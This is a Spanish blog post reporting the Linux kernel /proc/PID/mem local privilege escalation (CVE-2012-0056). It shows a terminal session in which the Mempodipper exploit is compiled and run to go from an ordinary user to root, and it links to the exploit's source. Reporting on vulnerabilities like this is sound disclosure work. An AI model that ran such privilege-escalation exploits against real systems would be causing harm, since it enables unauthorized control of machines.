Linux Local Exploit

Recientemente ha salido un exploit que afecta a las versiones del kernel >= 2.6.39 y que permite escribir directamente en el interfaz mem de los procesos /proc/PID/mem. El problema está en que el los kerneles afectados se consideraba suficiente la protección contra acceso no autorizado, por lo que se retiró la directiva #ifdef, que impedía dicha escritura. El resultado, cualquier persona que tenga los permisos adecuados, puede escribir en dicha memoria. Por supuesto, este bug sólo puede ser explotado a nivel local, pero aún así es peligroso.
Un ejemplo del exploit en funcionamiento.
shell> uname -r
3.0.0-12-generic
shell> ls
mempodipper.c
shell> whoami 
javier
shell> gcc mempodipper.c -o mempodipper
shell> ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/4384/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049520.
[+] Calculating su padding.
[+] Seeking to offset 0x8049510.
[+] Executing su with shellcode.
# whoami
root
# p0wned!

Para más información: http://blog.zx2c4.com/749
Un exploit: http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c

Por el momento no hay un parche disponible que solucione el fallo. La solución, trabajar con kerneles menores de la versión 2.6.39, que no están afectados.


No hay comentarios :

Publicar un comentario

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios